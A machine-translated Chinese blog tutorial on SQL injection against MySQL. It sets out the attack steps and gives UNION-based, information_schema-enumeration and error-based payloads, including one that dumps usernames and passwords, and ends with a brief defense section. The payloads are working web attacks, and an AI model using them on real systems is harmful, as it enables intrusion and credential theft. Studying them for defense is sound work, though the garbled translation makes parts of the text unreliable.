当前位置:网站首页>Penetration test --- database security: detailed explanation of SQL injection into database principle
Penetration test --- database security: detailed explanation of SQL injection into database principle
2022-07-06 23:40:00 【Cloud guest technology】
List of articles
1 Introduce
SQL Injection vulnerability is mainly due to , There is no strict filtering when requesting , Causes the incoming statement to be treated as SQL Statement executed , This causes the database to be damaged ( Removed from storage 、 Delete 、 Even the data payment authority fell )
More offensive and defensive articles : Courage steak — defense
Brave steak official website :https://lgch.xyz/
2 General steps
SQL Injection point detection
Judge where there is SQL Injection point , Usually inForms,Article queryAnd other pages related to database operations .Collect background database information
Different database injection methods 、 Functions vary , Therefore, the type of database should be determined before injection .
Such as :
Special characters 、 Single quotation marks : Let the database return an error
function :
version() function :MSQL special1 and version()>0Guess user name and password
Table name 、 Field name 、 Number of fields 、 User name and password .lookup Web Backstage management portal
have access to Directory scanning toolintrusion and damage
Log in backstage : Upload the Trojan 、 Tampering with the web 、 To steal information .
Further rights : intrusion Web Servers and database servers .
3 Inject
Test data
+---------------+----------------------------------+
| isbn | title |
+---------------+----------------------------------+
| 9787302458210 | SQL Server From entry to mastery ( The first 2 edition ) |
| 9787115496003 | Application and practice of virtualization technology |
| 9787302510109 | Algorithm design and analysis ( The first 4 edition ) |
| 9787503442490 | Mind code |
| 9787503421884 | snow wolf |
| 9787539635835 | Longtou Laotai |
+---------------+----------------------------------+
3 function
3.1 Common system functions
| function | effect |
|---|---|
| version() | MySQL edition |
| user() | Database user name |
| database() | Database name |
| @@datadir | Database path |
| @@version_complie_os | Operating system version |
3.2 String concatenation function
Three magic weapons :concat(),group_concat(),concat_ws()
3.2.1 concat() function
characteristic :concat(str1,str2,...)
The return result is the string generated by the connection parameter , If any parameter is NULL, The return value is NULL, There can be one or more parameters .
1. Do not use character linking functions :
select isbn,title from books limit 1;
+---------------+----------------------------------+
| isbn | title |
+---------------+----------------------------------+
| 9787302458210 | SQL Server From entry to mastery ( The first 2 edition ) |
+---------------+----------------------------------+
2. Examples of use
Generally, we need to separate the items with one character , Easy to view data
select concat(isbn,',',title) from books limit 1;
+------------------------------------------------+
| concat(isbn,',',title) |
+------------------------------------------------+
| 9787302458210,SQL Server From entry to mastery ( The first 2 edition ) |
+------------------------------------------------+
3.2.2 concat_ws() function
CONCAT_WS() representative CONCAT With Separator , yes CONCAT() A special form of . The first parameter is the separator for the other parameters . The position of the separator is placed between the two strings to be connected . The separator can be a string , It can also be other parameters . If the separator is NULL, The result is NULL. The function ignores the... After any separator argument NULL value . however CONCAT_WS() No empty strings will be ignored . ( However, we will ignore all of them NULL). characteristic :CONCAT_WS(separator,str1,str2,…)
Examples of use 
3.2.3 group_concat() function
GROUP_CONCAT Function returns a string result , The result is a combination of values in the group .
select bid,author,group_concat(bid) from books where author in(' Jin Yongxian ',' Fang Zhaoxiang Writing ') group by bid;
No demonstration ,sql The statement is like the above
4 Inject
4.1 The joint query union Inject
The premise of using joint query is that the page we inject must have display bits .
1、 Use union
payload:
v' union select username from member where id=1#%
select Must have the same columns , And the data of each column is also the same , meanwhile , Every one of them SELECT The order of the columns in the statement must be the same .
Joint query can be added at the end of the link order by X Based on random number injection , Determine the number of fields in the site according to the returned results of the page .
select bid,author from books union select username from users;

2、 payload:a' order by 4#%
select bid,author from books order by 4#%;

select bid,author from books order by 2#%;

3、 Get the main query consisting of three fields , We use it union To do one. sql Splicing .
pauload
a' union selec database(),user(),version()#%
select bid,author,title from books union selec database(),user(),version();
There is no test passed
4.2 information_schema Inject
information_schema The database is MySQL5.0 The database of the system , It's about MySQL Information about all other databases maintained by the server .
select group_concat(schema_name) from information_schema.schemata;
Actual injection test
5.2.1 Get all databases
type :id=/wd=/name=
-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata

4.2.2 Get the table of the specified database
payload
a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library'
select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';

4.2.3 Get the field name of the specified table
payload
a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
select bid,author,title from books union select table_name,column_name,3 from information_schema.columns where table_name='users';

4.2.4 Get the value of the field
payload
a' union select username ,password,3 from users#%
select bid,author,title from books union select username,password,3 from users;

4.3 Based on error information injection
This method is to display no bits on the page , however echomysql_error() function , It can only be used when the front end outputs an error message .
The advantage is that the injection speed is fast , The disadvantage is that the statement is more complex , And only use limit Guess in turn . On the whole , Error reporting injection is actually a formulaic injection method , Mainly used to display no bits in the page , But with echomysql_error() Use... When an error message is output . common select/insert/update/delete Injection can use error reporting to obtain information .
4.3.1 Three common error reporting functions
updatexml(): The function is MYSQL Yes XML Document data for query and modification XPATH function
extractvalue() : The function is also MYSQL Yes XML Document data for query XPATH function .
floor(): MYSQL The function used to round in .
4.4 Digital injection
or 1=1
4.5 Search Injection
When searching in the search box , Become a search type .
The biggest difference between numeric and character injection : The numeric type does not need to be closed in single quotation marks , String types require single quotation marks .
%xxx% or 1=1 #%'
5 sql Inject defense
- Strict escaping and filtering of input
- Use parameterization (Parameterized): There are a lot of ORM The framework will automatically use parameterization to solve the injection problem , But it also provides " Splicing " The way , So you need to be careful when using !
Reference article :
https://zhuanlan.zhihu.com/p/258032596
https://www.cnblogs.com/lcamry/p/5715634.html
边栏推荐
- A few suggestions for making rust library more beautiful! Have you learned?
- js导入excel&导出excel
- (1) Chang'an chain learning notes - start Chang'an chain
- Use mitmproxy to cache 360 degree panoramic web pages offline
- JS addition, deletion, modification and query of JSON array
- Today's sleep quality record 78 points
- One minute to learn how to install the system, win7 XP, win10 and win11 become very simple
- I've been laid off, and I'll lose money for everything. The days when I once made a monthly salary of 20000 are not coming back
- 【系统分析师之路】第七章 复盘系统设计(面向服务开发方法)
- Graphite document: four countermeasures to solve the problem of enterprise document information security
猜你喜欢

AI金榜题名时,MLPerf榜单的份量究竟有多重?

The "white paper on the panorama of the digital economy" has been released with great emphasis on the digitalization of insurance
Implementation steps of mysql start log in docker

Gpt-3 is a peer review online when it has been submitted for its own research

借助这个宝藏神器,我成为全栈了

B站大佬用我的世界搞出卷積神經網絡,LeCun轉發!爆肝6個月,播放破百萬

leetcode:236. The nearest common ancestor of binary tree

Wu Enda 2022 machine learning course evaluation is coming!

资产安全问题或制约加密行业发展 风控+合规成为平台破局关键

谁说新消费品牌大溃败?背后有人赢麻了
随机推荐
The "white paper on the panorama of the digital economy" has been released with great emphasis on the digitalization of insurance
Should the jar package of MySQL CDC be placed in different places in the Flink running mode?
flinksql select id ,count(*) from a group by id .
今日睡眠质量记录78分
js导入excel&导出excel
编译logisim
【212】php发送post请求有哪三种方法
【系统分析师之路】第七章 复盘系统设计(面向服务开发方法)
快讯 l Huobi Ventures与Genesis公链深入接洽中
本地部署 zeppelin 0.10.1
Computer reinstallation system teaching, one click fool operation, 80% of people have learned
js对JSON数组的增删改查
Gpt-3 is a peer review online when it has been submitted for its own research
Example code of MySQL split string as query condition
Modules that can be used by both the electron main process and the rendering process
Leetcode problem solving - 889 Construct binary tree according to preorder and postorder traversal
借助这个宝藏神器,我成为全栈了
Oracle对表进行的常用修改命令
云原生(三十二) | Kubernetes篇之平台存储系统介绍
零代码高回报,如何用40套模板,能满足工作中95%的报表需求